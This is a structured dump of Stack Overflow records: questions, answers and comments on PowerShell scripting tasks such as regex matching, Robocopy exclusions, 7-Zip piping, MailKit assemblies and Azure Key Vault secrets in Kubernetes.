[SetSystemRadioStateDelegate]) $release = $mrs::GetDelegateForFunctionPointer($methodPtr[2], [ReleaseDelegate]) # get the current airplane mode: $oldState, $p2, $p3 = (0,0,0) $null = $getState.Invoke($irm, [ref]$oldState, [ref]$p2, [ref]$p3) # toggle the state of the airplane mode (# 0=airplane_mode, 1=normal_mode): $newState = !$oldState $null = $setState.Invoke($irm, $newSta…
score: 0
answers question: http://stackoverflow.com/q/79277736

http://stackoverflow.com/comment/139845018
has text: Windows doesn't suck (or at least is not your problem). You also have to ensure the encoding of your source code is UTF-8 (or 16). if you have problems use the full escaped sequence for `á` (Unicode Character “á” (U+00E1)).
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79303993

http://stackoverflow.com/comment/139788864
comment on: http://stackoverflow.com/q/79272293
has text: Note that if an executable is only discoverable via `$PATH` on the Windows side of things, i.e. if you're looking to invoke an `*.exe` file located in the Windows file system, you must include the file-name extension, i.e. `node.exe -v` in your case.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79333997
score: 0
type: Answer
has body: If you're looking to get the assemblies using dotnet CLI you can follow a similar approach as the one shown in this answer, note that the package you actually want seem to be MailKit not MimeKit (MailKit already includes MimeKit). So essentially, cd into a folder where you want to download the assemblies and then: try { # `netstandard2.0` here if you want compatibility with pwsh 7 and pwsh 5.1, # else, you can probably use `net8` if you want latest features for pwsh 7.4+ $framework = 'netstandard2.0' $packagename = 'MailKit' $output = "$packagename.Package" dotnet new classlib -f $framework -o $output Push-Location $output dotnet add package $packagename dotnet publish --configuration Release -o lib } finally { Pop-Location } If the above ran successfully you should be able to see the .dll files in the lib folder: PS ..\pwsh> Get-ChildItem $output\lib Directory: ...\pwsh\MailKit.Package\lib Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 12/1/2024 1:14 PM 4658328 BouncyCastle.Cryptography.dll -a--- 12/9/2024 10:22 PM 931328 MailKit.dll -a--- 1/6/2025 3:34 PM 10243 MailKit.Package.deps.json -a--- 1/6/2025 3:34 PM 4096 MailKit.Package.dll -a--- 1/6/2025 3:34 PM 8176 MailKit.Package.pdb -a--- 12/9/2024 8:54 PM 1239552 MimeKit.dll -a--- 11/12/2024 6:47 PM 23864 System.Buffers.dll -a--- 5/15/2018 10:29 AM 40592 System.Data.DataSetExtensions.dll -a--- 6/13/2024 4:43 PM 105224 System.Formats.Asn1.dll -a--- 11/12/2024 6:47 PM 145192 System.Memory.dll -a--- 11/12/2024 6:47 PM 159496 System.Numerics.Vectors.dll -a--- 11/12/2024 6:47 PM 19224 System.Runtime.CompilerServices.Unsafe.dll -a--- 10/16/2019 6:32 PM 49528 System.Security.Cryptography.Cng.dll -a--- 9/16/2024 8:14 PM 212264 System.Security.Cryptography.Pkcs.dll -a--- 10/31/2023 12:10 PM 762648 System.Text.Encoding.CodePages.dll -a--- 11/12/2024 6:47 PM 27960 System.Threading.Tasks.Extensions.dll Lastly, you should be able to Add-Type them with the change mentioned in jstedfast's comment, the actual …
answers question: http://stackoverflow.com/q/79321398

http://stackoverflow.com/comment/139800109
comment on: http://stackoverflow.com/a/79256249
type: AnswerComment
type: Comment
has text: Technically speaking, the phrase I used was "mounting the ISO as a drive" which is what this does. It does mount it, but does not assign a drive designation to it. It is not listed in `get-psdrive`
score: 0

http://stackoverflow.com/a/79385714
downvote count: 0
has comment: http://stackoverflow.com/comment/139997821
has comment: http://stackoverflow.com/comment/139998183
accepted answer of: http://stackoverflow.com/q/79385377
type: AcceptedAnswer
score: 4
upvote count: 4
type: Answer
has body: What is wrong with my regex?? Nothing, though it can be simplified (see below). why does the same expression work with -match and not select-string?? It does work with Select-String too, you just need to extract the results differently: $rebootNeeded, $silentInstallExe = $CVAFileContents | Select-String '(?s)\[General\].*?SystemMustBeRebooted=(\d).*?\[Install Execution\].*?SilentInstall=&quot;(.*?)&quot;' | ForEach-Object { ($_.Matches[0].Groups | Select-Object -Skip 1).Value } That is, Select-String emits a Microsoft.PowerShell.Commands.MatchInfo instance for each matching input string, from which you can extract the capture-group matches. In your case, there is only one input string, namely the entire content of your input file (due to having read the file with Get-Content's -Raw switch). Note that the -AllMatches switch has been omitted above, because you only need it to find multiple matches of your pattern in each input string, which doesn't apply here. The absence of -AllMatches implies that the $_.Matches collection contains only one System.Text.RegularExpressions.Match instance describing the match. The .Groups collection's first entry ([0]) is always the overall match, whereas the subsequent entries represent the capture-group matches; Select-Object -Skip 1 skips the overall match, and (...).Value uses member-access enumeration to extract the captured text from the groups. Finally, the two pieces of text captured by the capture groups are assigned to two separate output variables, $rebootNeeded and $silentInstallExe, using a multi-assignment. That said, if you only need to look for one match and if the only information you need is what text the capture groups captured, using -match, the regular-expression matching operator, which reflects the details of the match in the automatic $Matches variable, is the simpler and more efficient choice.
answers question: http://stackoverflow.com/q/79385377

http://stackoverflow.com/a/79341652
has comment: http://stackoverflow.com/comment/139913881
has comment: http://stackoverflow.com/comment/139915432
answers question: http://stackoverflow.com/q/79341602
accepted answer of: http://stackoverflow.com/q/79341602
downvote count: 0
has comment: http://stackoverflow.com/comment/139913889
has body: When piping binary data in PowerShell, we need to ensure we're not inadvertently converting it to text. Most clever approch would be cmd /c "7z x -so archive.tar.gz | 7z x -si -ttar" cmd handles binary streams properly by default
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/139915326
has comment: http://stackoverflow.com/comment/139913863
score: 1
has comment: http://stackoverflow.com/comment/139913919
has comment: http://stackoverflow.com/comment/139915398
has comment: http://stackoverflow.com/comment/139913841
type: AcceptedAnswer

http://stackoverflow.com/comment/139923264
score: 0
comment on: http://stackoverflow.com/a/79340490
type: AnswerComment
has text: when is a cmdlet a script module (e.g. non-native), and when is it a native one? Is it correct that every cmdlet calls a module?
type: Comment

http://stackoverflow.com/comment/139958534
has text: What kind of network commands are you running?
comment on: http://stackoverflow.com/a/79364898
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/79349191
has comment: http://stackoverflow.com/comment/139928281
type: Question
duplicate of: http://stackoverflow.com/q/76347617
downvote count: 0
tagged with: powershell
answer count: 0
tagged with: split
linked to: http://stackoverflow.com/q/76347617
type: UnansweredQuestion
has body: Here is my script: $text1 = "abc|def" $text2 = "abc~def" Write-Host ("text1 is: ", $text1) $text1 -split "|" Write-Host ("text2 is: ", $text2) $text2 -split "~" When I run it text1 split output is: a b c | d e f Whereas text2 split output is: abc def Which is what expected in both cases. Why is using the pipe character causing different output?
tagged with: pipe
score: 1
upvote count: 1
favorite count: 0
has title: Why is Powershell split with "|" behaving so weird?

http://stackoverflow.com/q/79355571
has answer: http://stackoverflow.com/a/79358368
has comment: http://stackoverflow.com/comment/139957918
has answer: http://stackoverflow.com/a/79362843
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139940688
favorite count: 0
has comment: http://stackoverflow.com/comment/139940706
has answer: http://stackoverflow.com/a/79356423
type: Question
downvote count: 1
has title: foreach read two variable from file
tagged with: powershell
has answer: http://stackoverflow.com/a/79358238
answer count: 4
has comment: http://stackoverflow.com/comment/139945330
has body: Filename: file01.txt File content: server: server01 IP: 192.168.0.100 server: server02 IP: 192.168.0.101 My objective to use both variable for ping result using PowerShell. Thanks in advance.
upvote count: 1
score: 0

http://stackoverflow.com/a/79335999
downvote count: 0
score: 1
upvote count: 1
has body: in the requirements.psd1 file i commented the line #'Az' = '13.*' then used import-module Az in my script which seemed to solve the problem for now but azure says it is just a temporary solution and preferrably import the module in the requirements in the file but if it gets buggy and the error persists (my case) resort to the method i did EDIT: apparently disabling Az cmdlets IS NECESSARY otherwise it will throw an exception : To disable the Az cmdlets, save and edit the profile.psd file. Mark out the following block in the file as follows, if not already done: # if ($env:MSI_SECRET) { # Disable-AzContextAutosave -Scope Process | Out-Null # Connect-AzAccount -Identity # } Save the profile.ps1 file. If you don't do this and enable a managed identity on the Azure Function, it will throw an exception. https://pnp.github.io/powershell/articles/azurefunctions.html
type: Answer
answers question: http://stackoverflow.com/q/79333188

http://stackoverflow.com/a/79294790
type: Answer
answers question: http://stackoverflow.com/q/79290848
score: 0
accepted answer of: http://stackoverflow.com/q/79290848
has body: Apply calculated properties: Several PowerShell cmdlets transform, group, or process input objects into output objects using parameters that allow the addition of new properties to those output objects. You can use these parameters to generate new, calculated properties on output objects based on the values of input objects. The calculated property is defined by a hashtable containing key-value pairs that specify the name of the new property, an expression to calculate the value, and optional formatting information. In particular, you can use calculated properties to add additional members to the objects output with the Select-Object cmdlet, e.g. as follows: #Requires -RunAsAdministrator Get-EventLog -LogName Security | Select-Object -Property @{ name = 'Account Name'; # or 'AccountName' with no space expr = {($_.Message -split [System.Environment]::NewLine | Select-String 'Account Name:' -SimpleMatch | Select-Object -ExpandProperty Line ).Split( ':').Trim()[-1] } }, * | Select-Object -First 2 # optional to reduce output However, some output fields (e.g. Data or ReplacementStrings) Export-Csv shows as System.Byte[], System.String[], or even System.Object[] etc. See this article :Avoiding System.Object[] (or Similar Output) when using Export-Csv…
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139895833

http://stackoverflow.com/q/79407490
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/140039573
has comment: http://stackoverflow.com/comment/140049332
type: Question
has comment: http://stackoverflow.com/comment/140049575
has answer: http://stackoverflow.com/a/79416309
downvote count: 0
has body: I'm trying to modify PowerShell's tab completion behavior so that it doesn't just match from the beginning of a word but also allows substring matching Example Normally, if I type under&lt;TAB&gt;, PowerShell won't suggest code-understanding because it doesn't start with under I would like PowerShell to suggest any word that contains my input anywhere (e.g., code-understanding, file-underlined, etc.) What I've Tried I've already set up PSReadLine enhancements for better menu-style completion : Set-PSReadLineKeyHandler -Key Tab -Function MenuComplete This improves predictions but still only matches the start of words My Question Is there a native way in PowerShell 7+ to make TAB completion match substrings instead of just the start of a word ?
has title: How to Enable Substring Matching in PowerShell Tab Completion?
tagged with: powershell
answer count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79416309
has comment: http://stackoverflow.com/comment/140049522
has comment: http://stackoverflow.com/comment/140042256
score: 1

http://stackoverflow.com/q/79271819
has answer: http://stackoverflow.com/a/79273890
has answer: http://stackoverflow.com/a/79274040
has body: The datatype of assetId in method one() is Int64. But when I print the returned variable outside that method, the datatype is now an object. function one(){ $response = Invoke-WebRequest -Uri $finalizeUrl -Method 'POST' -Body $createResponse.Content -Headers @{"Authorization" = $authToken; "Content-Type" = "application/json" } $responseObject = $response.Content | ConvertFrom-Json $assetId = $responseObject.asset_id Write-Host $assetId Write-Host "Type of assetId in function one: " ($assetId.GetType().Name) return $assetId } $asset_id = one Write-Host $asset_id Write-Host "Type of asset_id outside one: " ($asset_id.GetType().Name) Output: 140863 Type of assetId in function one: Int64 {"success":true,"message":null} 140863 Type of asset_id outside function one: Object[] What am I doing wrong here.
tagged with: powershell
has title: Datatype of the returned variable gets changed in the calling method
has comment: http://stackoverflow.com/comment/139786306
has comment: http://stackoverflow.com/comment/139787950
has comment: http://stackoverflow.com/comment/139786395
type: UnansweredQuestion
score: 0
answer count: 2
type: Question
has comment: http://stackoverflow.com/comment/139790200

http://stackoverflow.com/comment/139917995
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79343590
has text: Yes, I'm sure. I can see the task gets exactly what I'm setting in the variable group when running `Write-Host '(VariablesObject1)'`

http://stackoverflow.com/a/79266755
answers question: http://stackoverflow.com/q/79265633
has body: To provide some background information about PowerShell assignments: Assignment (which may involve implicit variable creation) isn't attempted until the RHS expression or command has run to completion: E.g., try { $foo = '/', 'nosuch' | Get-Item -ErrorAction Stop } catch { } doesn't create variable $foo (if it existed before, its value remains untouched), even though one System.IO.DirectoryInfo did get constructed before the error occurred. Notably, this means that the RHS execution may construct objects that aren't captured in a variable, preventing their timely release via .Dispose() if they are instances of .NET types that control unmanaged resources and therefore implement the IDisposable interface, such as the [System.IO.StreamWriter] type referenced in your question. Important: The above provokes a (script-)terminating error, by way of setting the common -ErrorAction parameter to Stop, which is what prevents the assignment. The same applies to the other kind of terminating error: statement-terminating ones, as potentially (though rarely) emitted by cmdlets, expressions (e.g. 1 / 0), or as the result of exceptions thrown by .NET methods (e.g., [int]::Parse('notanumber'); see this answer for details about the two kinds of terminating errors. Without -ErrorAction Stop, Get-Item would report a non-terminating error for the nosuch input path, which would not abort the assignment; the assignment would still succeed, and record the result of (just) Get-Item / in the variable, and would even technically succeed if none of the input paths exist.[1] Even when the RHS runs to completion the assignment may fail due to a type mismatch owing to type constraints: E.g., [int] $foo = 'notanumber' fails, and variable $foo, unless it already existed, isn't created. It follows from the above: You can not generally guarantee that objects constructed on the RHS also end up in the variable being assigned to. As discussed in the comments, a .NET constructor call is in itself atomic: …
has comment: http://stackoverflow.com/comment/139777515
has comment: http://stackoverflow.com/comment/139777533
has comment: http://stackoverflow.com/comment/139777508
has comment: http://stackoverflow.com/comment/139777525
has comment: http://stackoverflow.com/comment/139783019
has comment: http://stackoverflow.com/comment/139780852
has comment: http://stackoverflow.com/comment/139783055
has comment: http://stackoverflow.com/comment/139783608
type: Answer
has comment: http://stackoverflow.com/comment/139783064
downvote count: 1
score: 0
upvote count: 1

http://stackoverflow.com/q/79341602
has body: I try to migrate a chain of commands from command line to powershell. My original code extracts a .tar.gz archive using 7zip like this: 7z x -so archive.tar.gz | 7z x -si --ttar Now, I try to do the same in powershell. I've tried like this, but all I get is to throw the first command result to the shell: Start-Process -NoNewWindow $7z -ArgumentList "x -so `"archive.tar.gz`"" | Start-Process -NoNewWindow $7z -ArgumentList "x -si -ttar" How is this achieved in powershell?
has title: How to migrate chained commands from command line to powershell?
tagged with: pipe
type: Question
answer count: 1
linked to: http://stackoverflow.com/q/59110563
tagged with: powershell
type: AnsweredQuestion
downvote count: 1
has answer: http://stackoverflow.com/a/79341652
accepted answer: http://stackoverflow.com/a/79341652
score: 0
duplicate of: http://stackoverflow.com/q/59110563
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/139994672
has text: @iron this is for PowerShell 5.1. And your mention of 7 installing as the user makes that even more important. My code has aspects run as a local admin (software install) as well as some that run as the user at logon (software config). So PS7 not installing for all users by default would make it a non starter for most small architecture firms.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79383686

http://stackoverflow.com/q/79272508
accepted answer: http://stackoverflow.com/a/79272658
tagged with: passwords
has answer: http://stackoverflow.com/a/79274613
possible better answer: http://stackoverflow.com/a/79274613
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139787638
has comment: http://stackoverflow.com/comment/139787614
has comment: http://stackoverflow.com/comment/139787678
has comment: http://stackoverflow.com/comment/139787764
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139787649
has title: Import single line from text file into json file
score: 1
has answer: http://stackoverflow.com/a/79272658
has body: I have a really simple question which I am sure someone can answer really quickly for me. I have one text file (password.txt) containing a random string of characters which has been generated by a Poweshell script to be used as a wifi password. I have another script (change-password.ps1) which logs into my router and changes the password. I have managed to get this script to look at a json file (config.json) and use one of static passphrases. This is my json file { "PSKs": { "01":"PSKforJanuary123!!", "02":"PSKforFebruary123!", "03":"PSKforMarch123!", "04":"PSKforApril123!", "05":"PSKforMay123!", "06":"PSKforJune123!", "07":"PSKforJuly123!", "08":"PSKforAugust123!", "09":"PSKforSeptember123!", "10":"PSKforOctober123!", "11":"PSKforNovember123!", "12":"PSKforDecember123!" } } So instead of using one of these from the list above, how can I replace the "PSKfor***123!" with the line of text from my password.txt? Or is there a way I can create this random string of characters within my json file without having to run another script to generate it? Thanks in advance!
tagged with: http://stackoverflow.com/tag/json
answer count: 2
type: Question
downvote count: 0

http://stackoverflow.com/comment/140006477
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79386797
has text: I edited your question to make it more clear. In your script there are surely errors that might be just typos but I suggest you carefully check your own question if you expect people to take it seriously. For example you have a closing `}` after setting `$auditStatus` and that's surely wrong. Plus the logic you are using is messed up when checking `AuditEnabled`. I see maybe you just rewrote the loop closing it earlier and then doing an if condition for the sake of checking the correct auth.. but it makes things confusing in terms of noise

http://stackoverflow.com/q/79393374
has body: I'm working on a PowerShell script to automate file transfers using Robocopy. The script includes an ExcludeDirectories parameter, but directories specified in the exclusion list are not being excluded as expected. Here's the relevant portion of my code: param ( [string]$LogFilePath ) $usrdisk = "TESTGROUND011" $logfile = $LogFilePath $transln = "TransFolder" function Robocopy { param ( [string]$Source, [string]$Destination, [string[]]$ExcludeDirectories = @(), [int]$MinAge = 0, [bool]$Recursive = $true ) $excludeParam = if ($ExcludeDirectories.Count -gt 0) { "/XD $($ExcludeDirectories | ForEach-Object { `" $_`" } -join ' ')" } else { "" } $recursiveParam = if ($Recursive) { "/E" } else { "" } `enter code here` $command = "robocopy `"$Source`" `"$Destination`" $recursiveParam /MOVE /MINAGE:$MinAge $excludeParam /NP /LOG+:`"$logfile`"" Invoke-Command $command } Robocopy "$usrdisk\$transln" "$usrdisk\$transln\delete" -ExcludeDirectories @("$usrdisk\$transln\Finance", "$usrdisk\$transln\Logistic", "$usrdisk\$transln\Pricing", "$usrdisk\$transln\StreamServe") -MinAge 7 -Recursive $true Remove-Item "$usrdisk\$transln\delete" -Recurse -Force What happens instead is the Powershell loops itself due to it searching its own Recurse Folder even if it should be Excluded. I have tried to hardcode the /XD but it appears that powershell does not hand the code correctly to Robocopy. Do you see any potential mistakes in my code?
favorite count: 0
has title: Invoke-Command Robocopy
has comment: http://stackoverflow.com/comment/140012253
answer count: 2
type: Question
linked to: http://stackoverflow.com/q/51252465
tagged with: robocopy
has comment: http://stackoverflow.com/comment/140011999
tagged with: powershell
downvote count: 0
has comment: http://stackoverflow.com/comment/140012042
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140012408
has comment: http://stackoverflow.com/comment/140012064
has answer: http://stackoverflow.com/a/79393790
has answer: http://stackoverflow.com/a/79394030
accepted answer: http://stackoverflow.com/a/79393790
possible better answer: http://stackoverflow.com/a/79394030
score: 1
has comment: http://stackoverflow.com/comment/140012442
upvote count: 1
has comment: http://stackoverflow.com/comment/140012169

http://stackoverflow.com/comment/140023392
comment on: http://stackoverflow.com/a/79393790
score: 0
has text: there is no need for security concerns on this, this is a protected file on local premise server with no rights, i also had issues with the & call so I stay at this solution. Thank you very much
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139801490
score: 0
type: QuestionComment
type: Comment
has text: something to consider unrelated to the question but the PowerShell `::new` and the C# `new` aren't exactly the same. `::new` is purely based on reflection (LINQ expressions), PowerShell in itself is a masterclass on reflection.
comment on: http://stackoverflow.com/q/79276698

http://stackoverflow.com/comment/140021645
type: Comment
has text: @mklement0 : Every process has a PPID (Parent Process ID). When a application is launched in Windows the parent process is 0 which is the System Process. When an app launches a process the app is the PPID. The OP want an app to be launched in background mode where the PPID is the System Process.
score: 0
comment on: http://stackoverflow.com/q/79374832
type: QuestionComment

http://stackoverflow.com/q/79381065
score: 1
has comment: http://stackoverflow.com/comment/139989029
possible better answer: http://stackoverflow.com/a/79381204
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79381361
has comment: http://stackoverflow.com/comment/139988873
type: Question
answer count: 3
has comment: http://stackoverflow.com/comment/139988686
has body: I cannot seem to find the exact issue with this code: $backupCommand = @" # Backup Outlook files $outlookFolder = "C:\Users\$selectedUsername\AppData\Local\Microsoft\Outlook" Write-Output "Outlook folder path: $outlookFolder" # Verify the path exists if (Test-Path -Path $outlookFolder) { Write-Output "Outlook folder exists." } else { Write-Output "Outlook folder does not exist." exit } $backupFolder = "$outlookFolder\Backup" # Create the backup folder if it doesn't exist if (!(Test-Path -Path $backupFolder)) { New-Item -Path $backupFolder -ItemType Directory } # Get the list of .nst and .ost files in the Outlook folder $files = Get-ChildItem -Path $outlookFolder -File | Where-Object { $_.Extension -eq ".nst" -or $_.Extension -eq ".ost" } # Debugging output to verify $files Write-Output "Files to be backed up:" $files | ForEach-Object { Write-Output $_.Name } # Check if $files is empty if ($files.Count -eq 0) { Write-Output "No files found to back up." exit } # Process each file $files | ForEach-Object { param ($file) Write-Output "Processing file: $($file.Name)" # Get the base name and extension $baseName = [System.IO.Path]::GetFileNameWithoutExtension($file.Name) $ext = $file.Extension # Construct the backup file name $backupFileName = "$baseName`_backup$ext" $counter = 1 # Ensure the backup file name is unique while (Test-Path -Path "$backupFolder\$backupFileName") { $backupFileName = "$baseName`_backup$counter$ext" $counter++ } # Move and rename the file Move-Item -Path $file.FullName -Destination "$backupFolder\$backupFileName" Write-Output "Moved and renamed $($file.Name) to $backupFileName" } Write-Output "Backup loop completed" "@ # Execute the backup command on the remote machine using Invoke-Command try { Invoke-Command -ComputerName $ComputerName -ScriptBlock { param($cmd) Invoke-Expression $cmd } -ArgumentList $backupCommand Write-Output "Backup process complete." } catch { Write-Error "Failed to complete backup process: $_" } This is part of the code tha…
has comment: http://stackoverflow.com/comment/139988865
downvote count: 0
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79381292
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79381292
has comment: http://stackoverflow.com/comment/139989030
has comment: http://stackoverflow.com/comment/139988805
has title: An empty pipe element is not allowed in ForEach-Object
has answer: http://stackoverflow.com/a/79381204

http://stackoverflow.com/comment/140075400
comment on: http://stackoverflow.com/a/79420203
type: Comment
score: 0
type: AnswerComment
has text: Could you post examples of those filenames?

http://stackoverflow.com/a/79340931
answers question: http://stackoverflow.com/q/79340858
accepted answer of: http://stackoverflow.com/q/79340858
has body: Use the common -OutVariable (-ov) parameter to capture a cmdlet's output objects in a variable, in addition to sending them to the pipeline: # After executing this command, $files will contain the filtered files, if any. Get-ChildItem -Path $path -File | Where-Object LastWriteTime -lt (Get-Date).AddDays(-10) -OutVariable files | Remove-Item -Force -WhatIf Note: The -WhatIf common parameter in the command above previews the operation. Remove -WhatIf and re-execute once you're sure the operation will do what you want. Note: While the filtered files are captured in variable $files, note how the -OutVariable argument is just files, i.e., without the $ sigil. Use $files.Count to determine the count of matching files. Using -WhatIf, as shown, allows you to examine the files to be deleted ahead of time, before actually deleting them. Also, I've used simplified syntax with Where-Object above. Note that the -OutVariable target variable always receives a collection (of type [System.Collections.ArrayList]), even if only one or no output object is captured. Surprisingly, this behavior differs from capturing output in a variable by assignment ($files = ...); see GitHub issue #3154 for a discussion.
upvote count: 4
type: AcceptedAnswer
score: 4
downvote count: 0
type: Answer

http://stackoverflow.com/comment/140048246
score: 1
comment on: http://stackoverflow.com/q/79410051
has text: @mklement0 Bingo! False for regular user. True for admin user not running Powershell elevated. True also for admin user running Powershell elevated! Want to copy that answer into here, to 1) Save folks maybe missing the solution in a link, in a comment, and 2) To give you some props with an accepted answer for your time, unlike the other Answer?
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79357877
has title: PowerShell Token Access Permissions
has answer: http://stackoverflow.com/a/79360069
tagged with: exchangewebservices
answer count: 2
tagged with: token
type: Question
has body: I have two problems. I have created an Enterprise app and generated a token using MSAL which can successfully connect to MgGraph, but cannot use the Get-MgUser command (it cites insufficient privileges - API permissions granted are below). Microsoft Graph (2) Organization.Read.All User.Read Office 365 Exchange Online (1) Exchange.Manage The second problem is it is saying unauthorized when I try to use Connect-Exchangeonline with the token. The code I am using to generate the token is below (the variables are populated with the correct data, but I've omitted that for obvious security reasons): $global:CalendarPermissionsToken = Get-MsalToken -clientID $CalendarPermissionsclientID -clientSecret $CalendarPermissionsclientSecret -tenantID $CalendarPermissionstenantID -ForceRefresh $global:CalendarPermissionsToken2 = ConvertTo-SecureString $CalendarPermissionsToken.AccessToken -AsPlainText -Force This allows me to successfully run this, but not to subsequently use get-mguser: Connect-mggraph -AccessToken $CalendarPermissionsToken2 It also doesn't allow me to use this: Connect-ExchangeOnline -UserPrincipalName CENSORED -AccessToken $CalendarPermissionsToken2 Can anyone advise what I'm doing wrong? I'm suspecting I need to add some permissions to the app. I'm expecting to be able to connect to Graph and use get-mguser and to be able to use connect-exchangeonline with the token.
has answer: http://stackoverflow.com/a/79361944
tagged with: powershell
score: 0
type: UnansweredQuestion

http://stackoverflow.com/q/79273085
tagged with: powershell
type: UnansweredQuestion
score: 0
has title: Using WZUNZIP.EXE Command Line PowerShell to Folder
type: Question
tagged with: winzip
has comment: http://stackoverflow.com/comment/139788845
has body: I have zip file called LatestFiles_20241130031004.zip that I need to be unzipped to LatestFiles_20241130031004.The zip folder structure is something like LatestFiles_20241130031004.zip ----Folder A ----Folder B ---------Folder 1 ----------File 1 ----------File 2 When I use the code: & $WinZipexe\WZUNZIP.EXE -d "E:\TEMP\folder\LatestFiles_20241130031004.zip" "E:\TEMP\folder\" 2> $null The result is LatestFiles_20241130031004 ----Folder A ----Folder B ---------Folder 1 ----------File 1 ----------File 2 ----Folder 1 ----LatestFiles_20241130031004 --------Folder A --------Folder B -----------Folder 1 --------------File 1 --------------File 2 ----File 1 ----File 2 When what I'm aiming for is LatestFiles_20241130031004 ----Folder A ----Folder B ---------Folder 1 ----------File 1 ----------File 2 This is behaving if I do this directly from the command prompt rather than running through powershell. Any ideas? Solution is probably so simple, but I've been working on this for awhile...need new eyes...
tagged with: command-line
answer count: 0
has comment: http://stackoverflow.com/comment/139788690

http://stackoverflow.com/a/79350187
upvote count: 4
answers question: http://stackoverflow.com/q/79350174
downvote count: 0
type: Answer
has body: It seems what you're looking for is to increment by 4 on each loop iteration, so something like: for ($i = 0; $i -lt $sample.Length; $i += 4) { [pscustomobject]@{ id = $sample[$i] title = $sample[$i + 1] description = $sample[$i + 2] rew = $sample[$i + 3] } } # Outputs: # # id title description rew # -- ----- ----------- --- # id1 title1 Description1 Rew1 # id2 title2 Description2 Rew2 # id3 title3 Description3 Rew3 # id4 title4 Description4 Rew4 # id5 title5 Description5 Rew5 Where $sample is just the text sample you have provided turned into a string array with -split ($sample in this case could be the text you got from reading a file with Get-Content for example). $sample = @' id1 title1 Description1 Rew1 id2 title2 Description2 Rew2 id3 title3 Description3 Rew3 id4 title4 Description4 Rew4 id5 title5 Description5 Rew5 '@ -split '\r?\n'
score: 4

http://stackoverflow.com/comment/139994963
has text: @sirtao: Good points about the ISE. Note that `Set-Culture` has no in-session effect in both PowerShell editions (only affects future sessions).
type: Comment
comment on: http://stackoverflow.com/a/79383869
score: 0
type: AnswerComment

http://stackoverflow.com/comment/140013182
type: Comment
comment on: http://stackoverflow.com/a/79394066
score: 0
type: AnswerComment
has text: @user66001 if you wanna use a GUI it might be even simpler, want me to add a sample?

http://stackoverflow.com/q/79260249
tagged with: active-directory
duplicate of: http://stackoverflow.com/q/1911315
type: Question
answer count: 0
duplicate of: http://stackoverflow.com/q/35139436
tagged with: powershell
duplicate of: http://stackoverflow.com/q/58903362
type: UnansweredQuestion
has body: I want to import many users from a CSV into my Active Directory. Each user in the CSV has a first name, last name, username (e.g. silas.küng) primary class, and secondary class. Is it possible to import users into Active Directory and, when two users have the same first and last name, add a number (e.g., "1") to the second user's username? Later, during future imports, can I still differentiate between these users so that I can update them individually (e.g., if their classes change)? I believe this is not feasible because how can I differentiate between them later when the users in the CS don’t have a unique ID or something? The classes could change.
score: 0
linked to: http://stackoverflow.com/q/58903362
has title: How can I create and later update AD users in Active Directory from a CSV file when they have the same name?
has comment: http://stackoverflow.com/comment/139765839

http://stackoverflow.com/comment/139769321
comment on: http://stackoverflow.com/q/79262231
type: QuestionComment
type: Comment
has text: I think you miss the [PowerShell Pipeline](https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_pipelines) (/streaming) concept: if you don't pass the current `$Line` (aka omit the `... code ...`), you actually delete the line. Thus: `ForEach ($line in Get-Content document.txt) { } | Set-Content new.txt`. Or even more PowerShell-ish: `Get-Content document.txt | ForEach-Object { } | Set-Content new.txt`.
score: 0

settings.json
tag name: settings.json
type: Tag
tags question: http://stackoverflow.com/q/79380187

http://stackoverflow.com/comment/139746463
score: 0
has text: Buuuut if I do the 'diff' with the lines, it stills doesn't return the expected output: https://imgur.com/a/6ioy3Ze
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79246610

http://stackoverflow.com/a/79353182
has body: N.B. This assumes you've already successfully gotten AKS wired up and talking to AKV. Pause and start elsewhere if you've not successfully brought simple passwords across into the environment of your windows container yet. The trick is to recognise that when you install a certificate (PFX) into keyvault this is accessed as two separate objects and you can get these pulled into the environment as a combined PEM if you setup your k8s secret provider appropriately. First you must setup your k8s secrets to request it as an objecttype of 'secret' (not key or cert) e.g. : apiVersion: secrets-store.csi.x-k8s.io/v1 kind: SecretProviderClass metadata: name: sc-demo-keyvault-csi spec: provider: azure parameters: usePodIdentity: "false" useVMManagedIdentity: "true" # Set to true for using managed identity userAssignedIdentityID: <redacted> # Set the clientID of the user-assigned managed identity to use keyvaultName: <redacted> # Set to the name of your key vault objects: | array: - | objectName: testcert # keyvault secret name objectType: secret # getting a cert as a secret returns the public & private key pair as a pem, a type of cert just returns the public key (https://azure.github.io/secrets-store-csi-driver-provider-azure/docs/configurations/getting-certs-and-keys/) tenantId: <REDACTED> # The tenant ID of the key vault secretObjects: - data: - key: secretcert objectName: testcert secretName: foosecret type: Opaque Once this is done and you've mapped the secret through to your container as an environment variable in your deployment/pod description e.g. apiVersion: apps/v1 kind: Deployment spec: template: spec: containers: - name: test env: - name: SIGNING_KEYPAIR valueFrom: secretKeyRef: name: foosecret key: secretcert volumeMounts: - name : secrets-store01-inline mountPath: "/mnt/secrets-store" readOnly: true volumes: - name: secrets-store01-inline csi: driver: secrets-store.csi.k8s.io readOnly: true volumeAttributes: secretProviderClass: 'sc-demo-keyvault-csi' If you wer…
downvote count: 0
type: AcceptedAnswer
score: 2
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/79353181
